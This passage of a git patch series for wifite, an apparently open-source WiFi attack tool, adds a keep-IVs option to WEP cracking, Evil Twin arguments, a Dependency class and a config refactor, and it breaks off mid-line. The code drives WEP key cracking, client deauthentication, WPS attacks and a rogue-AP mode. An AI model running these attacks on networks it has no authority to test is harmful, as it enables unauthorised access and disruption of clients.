+ output_file_prefix='wep', + delete_existing_files=not keep_ivs) as airodump: Color.clear_line() Color.p('\r{+} {O}waiting{W} for target to appear...') @@ -81,7 +91,7 @@ def run(self): replay_file=replay_file) time_unchanged_ivs = time.time() # Timestamp when IVs last changed - previous_ivs = 0 + last_ivs_count = 0 # Loop until attack completes. @@ -91,7 +101,12 @@ def run(self): if client_mac is None and len(airodump_target.clients) > 0: client_mac = airodump_target.clients[0].station - total_ivs = airodump_target.ivs + if keep_ivs and current_ivs > airodump_target.ivs: + # We now have less IVS than before; A new attack must have started. + # Track how many we have in-total. + previous_ivs += total_ivs + current_ivs = airodump_target.ivs + total_ivs = previous_ivs + current_ivs status = "%d/{C}%d{W} IVs" % (total_ivs, Configuration.wep_crack_at_ivs) if fakeauth_proc: @@ -118,6 +133,9 @@ def run(self): self.crack_result = CrackResultWEP(self.target.bssid, self.target.essid, hex_key, ascii_key) self.crack_result.dump() + + Airodump.delete_airodump_temp_files('wep') + self.success = True return self.success @@ -127,31 +145,26 @@ def run(self): # Check number of IVs, crack if necessary if total_ivs > Configuration.wep_crack_at_ivs: - if not aircrack: + if not aircrack or not aircrack.is_running(): # Aircrack hasn't started yet. Start it. ivs_files = airodump.find_files(endswith='.ivs') + ivs_files.sort() if len(ivs_files) > 0: - aircrack = Aircrack(ivs_files[-1]) - - elif not aircrack.is_running(): - # Aircrack stopped running. - #Color.pl('\n{+} {C}aircrack{W} stopped, restarting...') - ivs_files = airodump.find_files(endswith='ivs') - if len(ivs_files) > 0: - aircrack = Aircrack(ivs_files[-1]) - # TODO: Why do we need fakeauth when aircrack stops? - #self.fake_auth() + if not keep_ivs: + ivs_files = ivs_files[-1] # Use most-recent .ivs file + aircrack = Aircrack(ivs_files) - ''' elif Configuration.wep_restart_aircrack > 0 and \ aircrack.pid.running_time() > Configuration.wep_restart_aircrack: # Restart aircrack after X seconds + #Color.pl('\n{+} {C}aircrack{W} ran for more than {C}%d{W} seconds, restarting' % Configuration.wep_restart_aircrack) aircrack.stop() ivs_files = airodump.find_files(endswith='.ivs') - Color.pl('\n{+} {C}aircrack{W} ran for more than {C}%d{W} seconds, restarting' % Configuration.wep_restart_aircrack) + ivs_files.sort() if len(ivs_files) > 0: - aircrack = Aircrack(ivs_files[-1]) - ''' + if not keep_ivs: + ivs_files = ivs_files[-1] # Use most-recent .ivs file + aircrack = Aircrack(ivs_files) if not aireplay.is_running(): @@ -186,6 +199,7 @@ def run(self): 'forgedreplay', client_mac=client_mac, replay_file=replay_file) + time_unchanged_ivs = time.time() # Reset unchanged IVs time (it may have taken a while to forge the packet) continue else: # Failed to forge packet. drop out @@ -197,7 +211,7 @@ def run(self): break # Continue to other attacks # Check if IVs stopped flowing (same for > N seconds) - if airodump_target.ivs > previous_ivs: + if airodump_target.ivs > last_ivs_count: time_unchanged_ivs = time.time() elif Configuration.wep_restart_stale_ivs > 0 and \ attack_name != 'chopchop' and \ @@ -214,7 +228,7 @@ def run(self): client_mac=client_mac, \ replay_file=replay_file) time_unchanged_ivs = time.time() - previous_ivs = airodump_target.ivs + last_ivs_count = airodump_target.ivs time.sleep(1) continue @@ -223,11 +237,19 @@ def run(self): except KeyboardInterrupt: if fakeauth_proc: fakeauth_proc.stop() if len(attacks_remaining) == 0: + if keep_ivs: + Airodump.delete_airodump_temp_files('wep') + self.success = False return self.success + if self.user_wants_to_stop(attack_name, attacks_remaining, airodump_target): + if keep_ivs: + Airodump.delete_airodump_temp_files('wep') + self.success = False return self.success + except Exception as e: Color.pl("\n{!} {R}Error: {O}%s" % str(e)) if Configuration.verbose > 0 or Configuration.print_stack_traces: @@ -243,6 +265,9 @@ def run(self): # End of big try-catch # End of for-each-attack-type loop + if keep_ivs: + Airodump.delete_airodump_temp_files('wep') + self.success = False return self.success diff --git a/wifite/config.py b/wifite/config.py index 89eb4acde..101adc338 100755 --- a/wifite/config.py +++ b/wifite/config.py @@ -62,6 +62,7 @@ def initialize(load_interface=True): Configuration.wep_restart_aircrack = 30 # Seconds to give aircrack to crack # before restarting the process. Configuration.wep_crack_at_ivs = 10000 # Number of IVS to start cracking + Configuration.wep_keep_ivs = False # Retain .ivs files across multiple attacks. # WPA variables Configuration.wpa_filter = False # Only attack WPA networks @@ -187,6 +188,9 @@ def load_from_arguments(): if args.wep_restart_aircrack: Configuration.wep_restart_aircrack = args.wep_restart_aircrack Color.pl('{+} {C}option:{W} will restart aircrack every {G}%d seconds{W}' % args.wep_restart_aircrack) + if args.wep_keep_ivs: + Configuration.wep_keep_ivs = args.wep_keep_ivs + Color.pl('{+} {C}option:{W} keep .ivs files across multiple WEP attacks') # WPA if args.wpa_filter: From 1083db6f88a93b30e7928c3a3d28fa80235b64cf Mon Sep 17 00:00:00 2001 From: derv82 Date: Sat, 21 Apr 2018 04:25:46 -0400 Subject: [PATCH 46/52] Add eviltwin args. Add "Dependency" subclass --- wifite/args.py | 12 ++ wifite/config.py | 301 +++++++++++++++++++------------------ wifite/tools/aircrack.py | 7 +- wifite/tools/aireplay.py | 7 +- wifite/tools/airmon.py | 11 +- wifite/tools/airodump.py | 6 +- wifite/tools/dependency.py | 30 ++++ wifite/wifite.py | 40 ++--- 8 files changed, 246 insertions(+), 168 deletions(-) create mode 100644 wifite/tools/dependency.py diff --git a/wifite/args.py b/wifite/args.py index 7891e414e..e6059fdd3 100755 --- a/wifite/args.py +++ b/wifite/args.py @@ -37,6 +37,9 @@ def get_arguments(self): wps_group = parser.add_argument_group('WPS') self._add_wps_args(wps_group) + eviltwin_group = parser.add_argument_group('EVIL TWIN') + self._add_eviltwin_args(eviltwin_group) + commands_group = parser.add_argument_group('COMMANDS') self._add_command_args(commands_group) @@ -144,6 +147,15 @@ def _add_global_args(self, glob): help=self._verbose('Number of deauth packets to send (default: {G}%d{W})' % self.config.num_deauths)) + def _add_eviltwin_args(self, group): + group.add_argument('-ev', + '--eviltwin', + action='store_true', + dest='use_eviltwin', + help=Color.s('Use the "Evil Twin" attack against all targets (default: {G}off{W})')) + # TODO: Args to specify deauth interface, server port, etc. + + def _add_wep_args(self, wep): # WEP wep.add_argument('--wep', diff --git a/wifite/config.py b/wifite/config.py index 101adc338..1ac19ad16 100755 --- a/wifite/config.py +++ b/wifite/config.py @@ -15,65 +15,73 @@ class Configuration(object): interface = None verbose = 0 - @staticmethod - def initialize(load_interface=True): + @classmethod + def initialize(cls, load_interface=True): ''' Sets up default initial configuration values. Also sets config values based on command-line arguments. ''' + # TODO: categorize configuration into separate classes (under config/*.py) + # E.g. Configuration.wps.enabled, Configuration.wps.timeout, etc # Only initialize this class once - if Configuration.initialized: + if cls.initialized: return - Configuration.initialized = True + cls.initialized = True + + cls.verbose = 0 # Verbosity of output. Higher number means more debug info about running processes. + cls.print_stack_traces = True - Configuration.verbose = 0 # Verbosity level. - Configuration.print_stack_traces = True + cls.kill_conflicting_processes = False - Configuration.kill_conflicting_processes = False + cls.scan_time = 0 # Time to wait before attacking all targets + cls.all_targets = False # Run attacks against all targets automatically - Configuration.scan_time = 0 # Time to wait before attacking all targets - Configuration.all_targets = False # Run attacks against all targets automatically + cls.tx_power = 0 # Wifi transmit power (0 is default) + cls.interface = None + cls.target_channel = None # User-defined channel to scan + cls.target_essid = None # User-defined AP name + cls.target_bssid = None # User-defined AP BSSID + cls.ignore_essid = None # ESSIDs to ignore + cls.clients_only = False # Only show targets that have associated clients + cls.five_ghz = False # Scan 5Ghz channels + cls.show_bssids = False # Show BSSIDs in targets list + cls.random_mac = False # Should generate a random Mac address at startup. + cls.no_deauth = False # Deauth hidden networks & WPA handshake targets + cls.num_deauths = 1 # Number of deauth packets to send to each target. - Configuration.tx_power = 0 # Wifi transmit power (0 is default) - Configuration.interface = None - Configuration.target_channel = None # User-defined channel to scan - Configuration.target_essid = None # User-defined AP name - Configuration.target_bssid = None # User-defined AP BSSID - Configuration.ignore_essid = None # ESSIDs to ignore - Configuration.clients_only = False # Only show targets that have associated clients - Configuration.five_ghz = False # Scan 5Ghz channels - Configuration.show_bssids = False # Show BSSIDs in targets list - Configuration.random_mac = False # Should generate a random Mac address at startup. - Configuration.no_deauth = False # Deauth hidden networks & WPA handshake targets - Configuration.num_deauths = 1 # Number of deauth packets to send to each target. + cls.encryption_filter = ['WEP', 'WPA', 'WPS'] - Configuration.encryption_filter = ['WEP', 'WPA', 'WPS'] + # EvilTwin variables + cls.use_eviltwin = False + cls.eviltwin_port = 80 + cls.eviltwin_deauth_iface = None + cls.eviltwin_fakeap_iface = None # WEP variables - Configuration.wep_filter = False # Only attack WEP networks - Configuration.wep_pps = 600 # Packets per second - Configuration.wep_timeout = 600 # Seconds to wait before failing - Configuration.wep_crack_at_ivs = 10000 # Minimum IVs to start cracking - Configuration.require_fakeauth = False - Configuration.wep_restart_stale_ivs = 11 # Seconds to wait before restarting + cls.wep_filter = False # Only attack WEP networks + cls.wep_pps = 600 # Packets per second + cls.wep_timeout = 600 # Seconds to wait before failing + cls.wep_crack_at_ivs = 10000 # Minimum IVs to start cracking + cls.require_fakeauth = False + cls.wep_restart_stale_ivs = 11 # Seconds to wait before restarting # Aireplay if IVs don't increaes. # "0" means never restart. - Configuration.wep_restart_aircrack = 30 # Seconds to give aircrack to crack + cls.wep_restart_aircrack = 30 # Seconds to give aircrack to crack # before restarting the process. - Configuration.wep_crack_at_ivs = 10000 # Number of IVS to start cracking - Configuration.wep_keep_ivs = False # Retain .ivs files across multiple attacks. + cls.wep_crack_at_ivs = 10000 # Number of IVS to start cracking + cls.wep_keep_ivs = False # Retain .ivs files across multiple attacks. # WPA variables - Configuration.wpa_filter = False # Only attack WPA networks - Configuration.wpa_deauth_timeout = 15 # Wait time between deauths - Configuration.wpa_attack_timeout = 500 # Wait time before failing - Configuration.wpa_handshake_dir = "hs" # Dir to store handshakes - Configuration.wpa_strip_handshake = False # Strip non-handshake packets - Configuration.ignore_old_handshakes = False # Always fetch a new handshake + cls.wpa_filter = False # Only attack WPA networks + cls.wpa_deauth_timeout = 15 # Wait time between deauths + cls.wpa_attack_timeout = 500 # Wait time before failing + cls.wpa_handshake_dir = "hs" # Dir to store handshakes + cls.wpa_strip_handshake = False # Strip non-handshake packets + cls.ignore_old_handshakes = False # Always fetch a new handshake # Default dictionary for cracking - Configuration.wordlist = None + cls.wordlist = None wordlists = [ '/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt', '/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt', @@ -81,219 +89,224 @@ def initialize(load_interface=True): ] for wlist in wordlists: if os.path.exists(wlist): - Configuration.wordlist = wlist + cls.wordlist = wlist break # WPS variables - Configuration.wps_filter = False # Only attack WPS networks - Configuration.no_wps = False # Do not use WPS attacks (Pixie-Dust & PIN attacks) - Configuration.wps_only = False # ONLY use WPS attacks on non-WEP networks - Configuration.use_bully = False # Use bully instead of reaver - Configuration.wps_pixie_timeout = 300 # Seconds to wait for PIN before WPS Pixie attack fails - Configuration.wps_fail_threshold = 100 # Max number of failures - Configuration.wps_timeout_threshold = 100 # Max number of timeouts + cls.wps_filter = False # Only attack WPS networks + cls.no_wps = False # Do not use WPS attacks (Pixie-Dust & PIN attacks) + cls.wps_only = False # ONLY use WPS attacks on non-WEP networks + cls.use_bully = False # Use bully instead of reaver + cls.wps_pixie_timeout = 300 # Seconds to wait for PIN before WPS Pixie attack fails + cls.wps_fail_threshold = 100 # Max number of failures + cls.wps_timeout_threshold = 100 # Max number of timeouts # Commands - Configuration.show_cracked = False - Configuration.check_handshake = None - Configuration.crack_handshake = False + cls.show_cracked = False + cls.check_handshake = None + cls.crack_handshake = False # Overwrite config values with arguments (if defined) - Configuration.load_from_arguments() + cls.load_from_arguments() if load_interface: - Configuration.get_monitor_mode_interface() + cls.get_monitor_mode_interface() - @staticmethod - def get_monitor_mode_interface(): - if Configuration.interface is None: + @classmethod + def get_monitor_mode_interface(cls): + if cls.interface is None: # Interface wasn't defined, select it! from .tools.airmon import Airmon - Configuration.interface = Airmon.ask() - if Configuration.random_mac: + cls.interface = Airmon.ask() + if cls.random_mac: Macchanger.random() @staticmethod def get_wireless_interface(): pass - @staticmethod - def load_from_arguments(): + @classmethod + def load_from_arguments(cls): ''' Sets configuration values based on Argument.args object ''' from .args import Arguments - args = Arguments(Configuration).args + args = Arguments(cls).args if args.random_mac: - Configuration.random_mac = True + cls.random_mac = True Color.pl('{+} {C}option:{W} using {G}random mac address{W} when scanning & attacking') if args.channel: - Configuration.target_channel = args.channel + cls.target_channel = args.channel Color.pl('{+} {C}option:{W} scanning for targets on channel {G}%s{W}' % args.channel) if args.interface: - Configuration.interface = args.interface + cls.interface = args.interface Color.pl('{+} {C}option:{W} using wireless interface {G}%s{W}' % args.interface) if args.target_bssid: - Configuration.target_bssid = args.target_bssid + cls.target_bssid = args.target_bssid Color.pl('{+} {C}option:{W} targeting BSSID {G}%s{W}' % args.target_bssid) if args.five_ghz == True: - Configuration.five_ghz = True + cls.five_ghz = True Color.pl('{+} {C}option:{W} including {G}5Ghz networks{W} in scans') if args.show_bssids == True: - Configuration.show_bssids = True + cls.show_bssids = True Color.pl('{+} {C}option:{W} showing {G}bssids{W} of targets during scan') if args.no_deauth == True: - Configuration.no_deauth = True + cls.no_deauth = True Color.pl('{+} {C}option:{W} will {R}not{W} {O}deauth{W} clients during scans or captures') if args.num_deauths and args.num_deauths > 0: - Configuration.num_deauths = args.num_deauths - Color.pl('{+} {C}option:{W} will send {G}%d{W} deauth packets when deauthing' % Configuration.num_deauths) + cls.num_deauths = args.num_deauths + Color.pl('{+} {C}option:{W} will send {G}%d{W} deauth packets when deauthing' % cls.num_deauths) if args.target_essid: - Configuration.target_essid = args.target_essid + cls.target_essid = args.target_essid Color.pl('{+} {C}option:{W} targeting ESSID {G}%s{W}' % args.target_essid) if args.ignore_essid is not None: - Configuration.ignore_essid = args.ignore_essid + cls.ignore_essid = args.ignore_essid Color.pl('{+} {C}option:{W} {O}ignoring ESSIDs that include {R}%s{W}' % args.ignore_essid) if args.clients_only == True: - Configuration.clients_only = True + cls.clients_only = True Color.pl('{+} {C}option:{W} {O}ignoring targets that do not have associated clients') if args.scan_time: - Configuration.scan_time = args.scan_time + cls.scan_time = args.scan_time Color.pl('{+} {C}option:{W} ({G}pillage{W}) attack all targets after {G}%d{W}s' % args.scan_time) if args.verbose: - Configuration.verbose = args.verbose + cls.verbose = args.verbose Color.pl('{+} {C}option:{W} verbosity level {G}%d{W}' % args.verbose) if args.kill_conflicting_processes: - Configuration.kill_conflicting_processes = True + cls.kill_conflicting_processes = True Color.pl('{+} {C}option:{W} kill conflicting processes {G}enabled{W}') + # EvilTwin + if args.use_eviltwin: + cls.use_eviltwin = True + Color.pl('{+} {C}option:{W} using {G}eviltwin attacks{W} against all targets') + # WEP if args.wep_filter: - Configuration.wep_filter = args.wep_filter + cls.wep_filter = args.wep_filter if args.wep_pps: - Configuration.wep_pps = args.wep_pps + cls.wep_pps = args.wep_pps Color.pl('{+} {C}option:{W} using {G}%d{W} packets-per-second on WEP attacks' % args.wep_pps) if args.wep_timeout: - Configuration.wep_timeout = args.wep_timeout + cls.wep_timeout = args.wep_timeout Color.pl('{+} {C}option:{W} WEP attack timeout set to {G}%d seconds{W}' % args.wep_timeout) if args.require_fakeauth: - Configuration.require_fakeauth = True + cls.require_fakeauth = True Color.pl('{+} {C}option:{W} fake-authentication is {G}required{W} for WEP attacks') if args.wep_crack_at_ivs: - Configuration.wep_crack_at_ivs = args.wep_crack_at_ivs + cls.wep_crack_at_ivs = args.wep_crack_at_ivs Color.pl('{+} {C}option:{W} will start cracking WEP keys at {G}%d IVs{W}' % args.wep_crack_at_ivs) if args.wep_restart_stale_ivs: - Configuration.wep_restart_stale_ivs = args.wep_restart_stale_ivs + cls.wep_restart_stale_ivs = args.wep_restart_stale_ivs Color.pl('{+} {C}option:{W} will restart aireplay after {G}%d seconds{W} of no new IVs' % args.wep_restart_stale_ivs) if args.wep_restart_aircrack: - Configuration.wep_restart_aircrack = args.wep_restart_aircrack + cls.wep_restart_aircrack = args.wep_restart_aircrack Color.pl('{+} {C}option:{W} will restart aircrack every {G}%d seconds{W}' % args.wep_restart_aircrack) if args.wep_keep_ivs: - Configuration.wep_keep_ivs = args.wep_keep_ivs + cls.wep_keep_ivs = args.wep_keep_ivs Color.pl('{+} {C}option:{W} keep .ivs files across multiple WEP attacks') # WPA if args.wpa_filter: - Configuration.wpa_filter = args.wpa_filter + cls.wpa_filter = args.wpa_filter if args.wordlist: if os.path.exists(args.wordlist): - Configuration.wordlist = args.wordlist + cls.wordlist = args.wordlist Color.pl('{+} {C}option:{W} using wordlist {G}%s{W} to crack WPA handshakes' % args.wordlist) else: - Configuration.wordlist = None + cls.wordlist = None Color.pl('{+} {C}option:{O} wordlist {R}%s{O} was not found, wifite will NOT attempt to crack handshakes' % args.wordlist) if args.wpa_deauth_timeout: - Configuration.wpa_deauth_timeout = args.wpa_deauth_timeout + cls.wpa_deauth_timeout = args.wpa_deauth_timeout Color.pl('{+} {C}option:{W} will deauth WPA clients every {G}%d seconds{W}' % args.wpa_deauth_timeout) if args.wpa_attack_timeout: - Configuration.wpa_attack_timeout = args.wpa_attack_timeout + cls.wpa_attack_timeout = args.wpa_attack_timeout Color.pl('{+} {C}option:{W} will stop WPA handshake capture after {G}%d seconds{W}' % args.wpa_attack_timeout) if args.ignore_old_handshakes: - Configuration.ignore_old_handshakes = True + cls.ignore_old_handshakes = True Color.pl("{+} {C}option:{W} will {O}ignore{W} existing handshakes (force capture)") if args.wpa_handshake_dir: - Configuration.wpa_handshake_dir = args.wpa_handshake_dir + cls.wpa_handshake_dir = args.wpa_handshake_dir Color.pl('{+} {C}option:{W} will store handshakes to {G}%s{W}' % args.wpa_handshake_dir) if args.wpa_strip_handshake: - Configuration.wpa_strip_handshake = True + cls.wpa_strip_handshake = True Color.pl("{+} {C}option:{W} will {G}strip{W} non-handshake packets") # WPS if args.wps_filter: - Configuration.wps_filter = args.wps_filter + cls.wps_filter = args.wps_filter if args.wps_only: - Configuration.wps_only = True + cls.wps_only = True Color.pl('{+} {C}option:{W} will *only* attack non-WEP networks with {G}WPS attacks{W} (no handshake capture)') if args.no_wps: - Configuration.no_wps = args.no_wps + cls.no_wps = args.no_wps Color.pl('{+} {C}option:{W} will {O}never{W} use {C}WPS attacks{W} (Pixie-Dust/PIN) on targets') if args.use_bully: - Configuration.use_bully = args.use_bully + cls.use_bully = args.use_bully Color.pl('{+} {C}option:{W} use {C}bully{W} instead of {C}reaver{W} for WPS Attacks') if args.wps_pixie_timeout: - Configuration.wps_pixie_timeout = args.wps_pixie_timeout + cls.wps_pixie_timeout = args.wps_pixie_timeout Color.pl('{+} {C}option:{W} WPS pixie-dust attack will fail after {O}%d seconds{W}' % args.wps_pixie_timeout) if args.wps_fail_threshold: - Configuration.wps_fail_threshold = args.wps_fail_threshold + cls.wps_fail_threshold = args.wps_fail_threshold Color.pl('{+} {C}option:{W} will stop WPS attack after {O}%d failures{W}' % args.wps_fail_threshold) if args.wps_timeout_threshold: - Configuration.wps_timeout_threshold = args.wps_timeout_threshold + cls.wps_timeout_threshold = args.wps_timeout_threshold Color.pl('{+} {C}option:{W} will stop WPS attack after {O}%d timeouts{W}' % args.wps_timeout_threshold) # Adjust encryption filter - Configuration.encryption_filter = [] - if Configuration.wep_filter: Configuration.encryption_filter.append('WEP') - if Configuration.wpa_filter: Configuration.encryption_filter.append('WPA') - if Configuration.wps_filter: Configuration.encryption_filter.append('WPS') + cls.encryption_filter = [] + if cls.wep_filter: cls.encryption_filter.append('WEP') + if cls.wpa_filter: cls.encryption_filter.append('WPA') + if cls.wps_filter: cls.encryption_filter.append('WPS') - if len(Configuration.encryption_filter) == 3: + if len(cls.encryption_filter) == 3: Color.pl('{+} {C}option:{W} targeting {G}all encrypted networks{W}') - elif len(Configuration.encryption_filter) == 0: + elif len(cls.encryption_filter) == 0: # Default to scan all types - Configuration.encryption_filter = ['WEP', 'WPA', 'WPS'] + cls.encryption_filter = ['WEP', 'WPA', 'WPS'] else: Color.pl('{+} {C}option:{W} ' + 'targeting {G}%s-encrypted{W} networks' - % '/'.join(Configuration.encryption_filter)) + % '/'.join(cls.encryption_filter)) # Adjust WEP attack list - Configuration.wep_attacks = [] + cls.wep_attacks = [] import sys seen = set() for arg in sys.argv: if arg in seen: continue seen.add(arg) - if arg == '-arpreplay': Configuration.wep_attacks.append('replay') - if arg == '-fragment': Configuration.wep_attacks.append('fragment') - if arg == '-chopchop': Configuration.wep_attacks.append('chopchop') - if arg == '-caffelatte': Configuration.wep_attacks.append('caffelatte') - if arg == '-p0841': Configuration.wep_attacks.append('p0841') - if arg == '-hirte': Configuration.wep_attacks.append('hirte') - - if len(Configuration.wep_attacks) == 0: + if arg == '-arpreplay': cls.wep_attacks.append('replay') + if arg == '-fragment': cls.wep_attacks.append('fragment') + if arg == '-chopchop': cls.wep_attacks.append('chopchop') + if arg == '-caffelatte': cls.wep_attacks.append('caffelatte') + if arg == '-p0841': cls.wep_attacks.append('p0841') + if arg == '-hirte': cls.wep_attacks.append('hirte') + + if len(cls.wep_attacks) == 0: # Use all attacks - Configuration.wep_attacks = ['replay', + cls.wep_attacks = ['replay', 'fragment', 'chopchop', 'caffelatte', 'p0841', 'hirte'] - elif len(Configuration.wep_attacks) > 0: + elif len(cls.wep_attacks) > 0: Color.pl('{+} {C}option:{W} using {G}%s{W} WEP attacks' - % '{W}, {G}'.join(Configuration.wep_attacks)) + % '{W}, {G}'.join(cls.wep_attacks)) # Commands - if args.cracked: Configuration.show_cracked = True - if args.check_handshake: Configuration.check_handshake = args.check_handshake - if args.crack_handshake: Configuration.crack_handshake = True + if args.cracked: cls.show_cracked = True + if args.check_handshake: cls.check_handshake = args.check_handshake + if args.crack_handshake: cls.crack_handshake = True - @staticmethod - def temp(subfile=''): + @classmethod + def temp(cls, subfile=''): ''' Creates and/or returns the temporary directory ''' - if Configuration.temp_dir is None: - Configuration.temp_dir = Configuration.create_temp() - return Configuration.temp_dir + subfile + if cls.temp_dir is None: + cls.temp_dir = cls.create_temp() + return cls.temp_dir + subfile @staticmethod def create_temp(): @@ -304,28 +317,28 @@ def create_temp(): tmp += os.sep return tmp - @staticmethod - def delete_temp(): + @classmethod + def delete_temp(cls): ''' Remove temp files and folder ''' - if Configuration.temp_dir is None: return - if os.path.exists(Configuration.temp_dir): - for f in os.listdir(Configuration.temp_dir): - os.remove(Configuration.temp_dir + f) - os.rmdir(Configuration.temp_dir) + if cls.temp_dir is None: return + if os.path.exists(cls.temp_dir): + for f in os.listdir(cls.temp_dir): + os.remove(cls.temp_dir + f) + os.rmdir(cls.temp_dir) - @staticmethod - def exit_gracefully(code=0): + @classmethod + def exit_gracefully(cls, code=0): ''' Deletes temp and exist with the given code ''' - Configuration.delete_temp() + cls.delete_temp() Macchanger.reset_if_changed() from .tools.airmon import Airmon - if Configuration.interface is not None and Airmon.base_interface is not None: - Color.pl('{!} Leaving interface {C}%s{W} in Monitor Mode.' % Configuration.interface) - Color.pl('{!} You can disable Monitor Mode when finished ({C}airmon-ng stop %s{W})' % Configuration.interface) + if cls.interface is not None and Airmon.base_interface is not None: + Color.pl('{!} Leaving interface {C}%s{W} in Monitor Mode.' % cls.interface) + Color.pl('{!} You can disable Monitor Mode when finished ({C}airmon-ng stop %s{W})' % cls.interface) # Stop monitor mode - #Airmon.stop(Configuration.interface) + #Airmon.stop(cls.interface) # Bring original interface back up #Airmon.put_interface_up(Airmon.base_interface) @@ -335,19 +348,19 @@ def exit_gracefully(code=0): exit(code) - @staticmethod - def dump(): + @classmethod + def dump(cls): ''' (Colorful) string representation of the configuration ''' from .util.color import Color max_len = 20 - for key in Configuration.__dict__.keys(): + for key in cls.__dict__.keys(): max_len = max(max_len, len(key)) - result = Color.s('{W}%s Value{W}\n' % 'Configuration Key'.ljust(max_len)) + result = Color.s('{W}%s Value{W}\n' % 'cls Key'.ljust(max_len)) result += Color.s('{W}%s------------------{W}\n' % ('-' * max_len)) - for (key,val) in sorted(Configuration.__dict__.items()): + for (key,val) in sorted(cls.__dict__.items()): if key.startswith('__') or type(val) == staticmethod or val is None: continue result += Color.s("{G}%s {W} {C}%s{W}\n" % (key.ljust(max_len),val)) diff --git a/wifite/tools/aircrack.py b/wifite/tools/aircrack.py index 68e941430..71561bd12 100755 --- a/wifite/tools/aircrack.py +++ b/wifite/tools/aircrack.py @@ -1,13 +1,18 @@ #!/usr/bin/python2.7 # -*- coding: utf-8 -*- +from .dependency import Dependency from ..util.process import Process from ..util.input import xrange from ..config import Configuration import os -class Aircrack(object): +class Aircrack(Dependency): + dependency_required = True + dependency_name = 'aircrack-ng' + dependency_url = 'https://www.aircrack-ng.org/install.html' + def __init__(self, ivs_file=None): self.cracked_file = os.path.abspath( diff --git a/wifite/tools/aireplay.py b/wifite/tools/aireplay.py index 52d8e9314..2c1ed1e99 100755 --- a/wifite/tools/aireplay.py +++ b/wifite/tools/aireplay.py @@ -1,6 +1,7 @@ #!/usr/bin/python2.7 # -*- coding: utf-8 -*- +from .dependency import Dependency from ..config import Configuration from ..util.process import Process from ..util.timer import Timer @@ -54,7 +55,11 @@ def __str__(self): return self.name -class Aireplay(Thread): +class Aireplay(Thread, Dependency): + dependency_required = True + dependency_name = 'aircrack-ng' + dependency_url = 'https://www.aircrack-ng.org/install.html' + def __init__(self, target, attack_type, client_mac=None, replay_file=None): ''' Starts aireplay process. diff --git a/wifite/tools/airmon.py b/wifite/tools/airmon.py index 790a8438f..1a29d6607 100755 --- a/wifite/tools/airmon.py +++ b/wifite/tools/airmon.py @@ -1,8 +1,9 @@ #!/usr/bin/python2.7 # -*- coding: utf-8 -*- -from ..tools.ifconfig import Ifconfig -from ..tools.iwconfig import Iwconfig +from .dependency import Dependency +from .ifconfig import Ifconfig +from .iwconfig import Iwconfig from ..util.process import Process from ..util.color import Color from ..util.input import raw_input @@ -49,8 +50,12 @@ def menu_header(): return s -class Airmon(object): +class Airmon(Dependency): ''' Wrapper around the 'airmon-ng' program ''' + dependency_required = True + dependency_name = 'airmon-ng' + dependency_url = 'https://www.aircrack-ng.org/install.html' + base_interface = None killed_network_manager = False diff --git a/wifite/tools/airodump.py b/wifite/tools/airodump.py index 77dfd146d..e00acbcdb 100755 --- a/wifite/tools/airodump.py +++ b/wifite/tools/airodump.py @@ -1,6 +1,7 @@ #!/usr/bin/python2.7 # -*- coding: utf-8 -*- +from .dependency import Dependency from .tshark import Tshark from .wash import Wash from ..util.process import Process @@ -10,8 +11,11 @@ import os, time -class Airodump(object): +class Airodump(Dependency): ''' Wrapper around airodump-ng program ''' + dependency_required = True + dependency_name = 'airodump-ng' + dependency_url = 'https://www.aircrack-ng.org/install.html' def __init__(self, interface=None, channel=None, encryption=None,\ wps=False, target_bssid=None, output_file_prefix='airodump',\ diff --git a/wifite/tools/dependency.py b/wifite/tools/dependency.py new file mode 100644 index 000000000..335b23413 --- /dev/null +++ b/wifite/tools/dependency.py @@ -0,0 +1,30 @@ +from ..util.process import Process +from ..util.color import Color + +class Dependency(object): + required_attr_names = ['dependency_name', 'dependency_url', 'dependency_required'] + + # https://stackoverflow.com/a/49024227 + def __init_subclass__(cls): + for attr_name in cls.required_attr_names: + if not attr_name in cls.__dict__: + raise NotImplementedError( + "Attribute '{}' has not been overriden in class '{}'" \ + .format(attr_name, cls.__name__) + ) + + + @classmethod + def fails_dependency_check(cls): + if Process.exists(cls.dependency_name): + return False + + if cls.dependency_required: + Color.pl('{!} {R}error: required app {O}%s{R} was not found' % cls.dependency_name) + Color.pl(' {W}install @ {C}%s{W}' % cls.dependency_url) + return True + + else: + Color.pl('{!} {O}warning: recommended app {R}%s{O} was not found' % cls.dependency_name) + Color.pl(' {W}install @ {C}%s{W}' % cls.dependency_url) + return False diff --git a/wifite/wifite.py b/wifite/wifite.py index 8aa5f0502..1e689c8d1 100755 --- a/wifite/wifite.py +++ b/wifite/wifite.py @@ -16,6 +16,8 @@ from .attack.wps import AttackWPS from .model.result import CrackResult from .model.handshake import Handshake +from .tools.airmon import Airmon +from .tools.airodump import Airodump import json import os @@ -31,10 +33,10 @@ def main(self): Color.pl('{!} {O}re-run as: sudo ./Wifite.py{W}') Configuration.exit_gracefully(0) - self.dependency_check() - Configuration.initialize(load_interface=False) + self.dependency_check() + if Configuration.show_cracked: self.display_cracked() @@ -46,30 +48,24 @@ def main(self): Configuration.get_monitor_mode_interface() self.run() + def dependency_check(self): ''' Check that required programs are installed ''' - required_apps = ['airmon-ng', 'iwconfig', 'ifconfig', 'aircrack-ng', 'aireplay-ng', 'airodump-ng'] - optional_apps = ['packetforge-ng', 'reaver', 'bully', 'cowpatty', 'pyrit', 'stdbuf', 'macchanger', 'tshark'] - missing_required = False - missing_optional = False - for app in required_apps: - if not Process.exists(app): - missing_required = True - Color.pl('{!} {R}error: required app {O}%s{R} was not found' % app) + apps = [Airmon, Airodump] #, Iwconfig, Ifconfig, Aircrack, Aireplay, Airodump] - for app in optional_apps: - if not Process.exists(app): - missing_optional = True - Color.pl('{!} {O}warning: recommended app {R}%s{O} was not found' % app) + if Configuration.use_eviltwin: + apps.extend([Hostapd, Dnsmasq, Iptables]) + + missing_required = any([app.fails_dependency_check() for app in apps]) if missing_required: Color.pl('{!} {R}required app(s) were not found, exiting.{W}') sys.exit(-1) - if missing_optional: - Color.pl('{!} {O}recommended app(s) were not found') - Color.pl('{!} {O}wifite may not work as expected{W}') + #if missing_optional: + # Color.pl('{!} {O}recommended app(s) were not found') + # Color.pl('{!} {O}wifite may not work as expected{W}') def display_cracked(self): ''' Show cracked targets from cracked.txt ''' @@ -134,9 +130,17 @@ def run(self): Color.pl('\n{+} 